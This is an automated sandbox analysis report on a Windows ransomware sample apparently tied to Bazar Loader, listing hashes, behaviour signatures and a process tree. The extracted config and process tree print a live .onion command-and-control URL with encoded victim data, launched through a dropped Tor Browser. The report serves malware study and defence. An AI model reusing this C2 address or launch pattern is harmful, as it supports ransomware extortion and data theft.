Analysis
-
max time kernel
188s -
max time network
168s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
12/11/2021, 09:21
General
-
Target
jaUgZXVa4Lre4nNpUGLvLJ2baxDc4ODmB0INEt2y.exe
-
Size
58KB
-
MD5
1cc5b508da9567f032ed78375bb45959
-
SHA1
c31a0e58ae70f571bf8140db8a1ab20a7f566ab5
-
SHA256
315045e506eb5e9f5fd24e4a55cda48d223ac3450037586ce6dab70afc8ddfc9
-
SHA512
cef3bdf76e94904e0d170d3d208accef9ff8e50b85403130b12914ee6b20f0e49f58aa840757c7855b656cffa4400b83cd81fc5196fea66045a5724886970d61
Malware Config
Extracted
C:\$Recycle.Bin\S-1-5-21-1042495040-510797905-2613508344-1000\BackFiles_encoded01.txt
http://chat5sqrnzqewampznybomgn4hf2m53tybkarxk4sfaktwt7oqpkcvyd.onion/gate.php?data=mMuO7yV2SabitZONNkW5UPOl5NlDMwuw%2BIWgw1YloCHRm7PeEEJnkNObpLwYcIh2%2FbO2mQobKcyKiLL2EnGIY6W%2F341WGA7V1vP%2B438O9GOs55a%2FExwrnobn%2FetHK8FO1PG9z11AfYbK9%2BbkWiGDaajx6cVcBCiDyNn761oizze2%2FaiJTBJ09dLF1%2BZGKfwbwLGc1TFXf7P6hfLpACGyRvOH%2F7sARA%2FntcDe1UUW2ir1loOJHDt5lMLR%2B%2Bs2IYZA4KfHpHURf%2B6J%2FMHJAzCBJ62ioI84Rie5%2FoHY91VFh2%2Frku%2B3RjwOkdTN6%2BZCDOoU9JXuhF9AD7b06P%2FgK12Fftf%2F%2FdhjIB7epNGg9XsLjSjN9YiZLSckmp6C0sA1fac0wZK7jUggLIPQ99vLZgfDH%2BO775kuOTuw7YTloFVRlGH8mMueHE5w0ImM9stsCtI63feOmBwXeZ7Y%2B%2B7xDGHSfvW6%2FblqLnDCieziz0Qf%2B2bb%2BK25GSgiw56C1v8ka9lf7oDCgHMmbJSghtnYbhT6Jsq5oJ4zCCCkzub3wBR0hm7AgceCV1N74IuB3N1uD4oB8YiA2k4EH7DM18PsDSWGQ%2Bu4uo59BHHSg9br%2FBN3%2Fxz5j%2BylOScUm%2FjK0LYpeJAiqo2r3Wc9AeuogcXhQ3yPCuCnrp0VOjuF7Pf9sxRJgnHNu6vdZxMm743lys4Od%2FEFqJTslRUILpeegtbWM0C0bamCyahjRznk1vnSyQ9yzWXYiJvYTwYZve7K0fQNNtNBqqb3tk0DcJ%2FV1%2BPCBnfrE%2FCkkN4iFQW%2BjJWmwz5bhmv9kbnYaz8GyqP62fpGEIl1qIOYmEM%2BA7XM2v7wDlC5UNSx94JLPSrxrdnlvwQx4BzVtYjJSDQVmNnypPwpNtNBq57ArQBED%2FOk1MnFBnzeHKukjN4jSxm17PzF4SJD0E%2Bt8tTWXyJ7xKjjx%2BoDL5xi2KTvyUg0Gr2DwObGKUGvTtnuvKl8MQvLjOXq63kxyjv3sI2JTRM8hN%2F2rNUrW6giqonYhlFGG5bQz6G8RA6NB%2F6Dv6k%2FPCeCweDG0ShFs06rh9uhdgZ59Kjz5OcEd%2F8R3qazqjEwBbrf%2BOPzNVu4NvSx6o5mIyXnuM2gvn83yxLrqvzePEd0tcHUxOwfNtNF3r63lnUyD5e0xsS8WT37PtDxipo4BSDB%2FpWmxx9QlEbWvPa9VwQC0ojh6cZFF8gqooiPjQkQfJ%2FX%2FuzwAFnZUr34yg%3D%3D
Signatures
-
Bazar Loader
Detected loader normally used to deploy BazarBackdoor malware.
-
Bazar/Team9 Loader payload 2 IoCs
-
Executes dropped EXE 4 IoCs
-
Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 1 IoCs
-
Loads dropped DLL 27 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 32 IoCs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in Program Files directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Opens file in notepad (likely ransom note) 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\jaUgZXVa4Lre4nNpUGLvLJ2baxDc4ODmB0INEt2y.exe"C:\Users\Admin\AppData\Local\Temp\jaUgZXVa4Lre4nNpUGLvLJ2baxDc4ODmB0INEt2y.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\notepad.exe"notepad.exe" C:\Users\Admin\Desktop\BackFiles_encoded01.txt2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Users\Admin\Desktop\browser\firefox.exe"C:\Users\Admin\Desktop\browser\firefox.exe" --allow-remote http://chat5sqrnzqewampznybomgn4hf2m53tybkarxk4sfaktwt7oqpkcvyd.onion/gate.php?data=mMuO7yV2SabitZONNkW5UPOl5NlDMwuw%2BIWgw1YloCHRm7PeEEJnkNObpLwYcIh2%2FbO2mQobKcyKiLL2EnGIY6W%2F341WGA7V1vP%2B438O9GOs55a%2FExwrnobn%2FetHK8FO1PG9z11AfYbK9%2BbkWiGDaajx6cVcBCiDyNn761oizze2%2FaiJTBJ09dLF1%2BZGKfwbwLGc1TFXf7P6hfLpACGyRvOH%2F7sARA%2FntcDe1UUW2ir1loOJHDt5lMLR%2B%2Bs2IYZA4KfHpHURf%2B6J%2FMHJAzCBJ62ioI84Rie5%2FoHY91VFh2%2Frku%2B3RjwOkdTN6%2BZCDOoU9JXuhF9AD7b06P%2FgK12Fftf%2F%2FdhjIB7epNGg9XsLjSjN9YiZLSckmp6C0sA1fac0wZK7jUggLIPQ99vLZgfDH%2BO775kuOTuw7YTloFVRlGH8mMueHE5w0ImM9stsCtI63feOmBwXeZ7Y%2B%2B7xDGHSfvW6%2FblqLnDCieziz0Qf%2B2bb%2BK25GSgiw56C1v8ka9lf7oDCgHMmbJSghtnYbhT6Jsq5oJ4zCCCkzub3wBR0hm7AgceCV1N74IuB3N1uD4oB8YiA2k4EH7DM18PsDSWGQ%2Bu4uo59BHHSg9br%2FBN3%2Fxz5j%2BylOScUm%2FjK0LYpeJAiqo2r3Wc9AeuogcXhQ3yPCuCnrp0VOjuF7Pf9sxRJgnHNu6vdZxMm743lys4Od%2FEFqJTslRUILpeegtbWM0C0bamCyahjRznk1vnSyQ9yzWXYiJvYTwYZve7K0fQNNtNBqqb3tk0DcJ%2FV1%2BPCBnfrE%2FCkkN4iFQW%2BjJWmwz5bhmv9kbnYaz8GyqP62fpGEIl1qIOYmEM%2BA7XM2v7wDlC5UNSx94JLPSrxrdnlvwQx4BzVtYjJSDQVmNnypPwpNtNBq57ArQBED%2FOk1MnFBnzeHKukjN4jSxm17PzF4SJD0E%2Bt8tTWXyJ7xKjjx%2BoDL5xi2KTvyUg0Gr2DwObGKUGvTtnuvKl8MQvLjOXq63kxyjv3sI2JTRM8hN%2F2rNUrW6giqonYhlFGG5bQz6G8RA6NB%2F6Dv6k%2FPCeCweDG0ShFs06rh9uhdgZ59Kjz5OcEd%2F8R3qazqjEwBbrf%2BOPzNVu4NvSx6o5mIyXnuM2gvn83yxLrqvzePEd0tcHUxOwfNtNF3r63lnUyD5e0xsS8WT37PtDxipo4BSDB%2FpWmxx9QlEbWvPa9VwQC0ojh6cZFF8gqooiPjQkQfJ%2FX%2FuzwAFnZUr34yg%3D%3D2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\browser\TorBrowser\Tor\tor.exe"C:\Users\Admin\Desktop\browser\TorBrowser\Tor\tor.exe" --defaults-torrc C:\Users\Admin\Desktop\browser\TorBrowser\Data\Tor\torrc-defaults -f C:\Users\Admin\Desktop\browser\TorBrowser\Data\Tor\torrc DataDirectory C:\Users\Admin\Desktop\browser\TorBrowser\Data\Tor GeoIPFile C:\Users\Admin\Desktop\browser\TorBrowser\Data\Tor\geoip GeoIPv6File C:\Users\Admin\Desktop\browser\TorBrowser\Data\Tor\geoip6 HashedControlPassword 16:d19d18e4d27836e9608bf684c8b043ab75abc23854a3fc0b6b3391a336 +__ControlPort 9151 +__SocksPort "127.0.0.1:9150 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth" __OwningControllerProcess 2116 DisableNetwork 13⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\Desktop\browser\firefox.exe"C:\Users\Admin\Desktop\browser\firefox.exe" -contentproc --channel="2116.0.627203460\838123476" -childID 1 -isForBrowser -boolPrefs 299:0| -schedulerPrefs 0001,2 -greomni "C:\Users\Admin\Desktop\browser\omni.ja" -appomni "C:\Users\Admin\Desktop\browser\browser\omni.ja" -appdir "C:\Users\Admin\Desktop\browser\browser" 2116 tab3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\Desktop\browser\firefox.exe"C:\Users\Admin\Desktop\browser\firefox.exe" -contentproc --channel="2116.6.433665060\1608908876" -childID 2 -isForBrowser -boolPrefs 299:0| -schedulerPrefs 0001,2 -greomni "C:\Users\Admin\Desktop\browser\omni.ja" -appomni "C:\Users\Admin\Desktop\browser\browser\omni.ja" -appdir "C:\Users\Admin\Desktop\browser\browser" 2116 tab3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\BackFiles_encoded01.txt1⤵
- Opens file in notepad (likely ransom note)
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
696KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
668KB
-
Filesize
2.0MB
-
Filesize
132KB
-
Filesize
3.6MB
-
Filesize
756KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB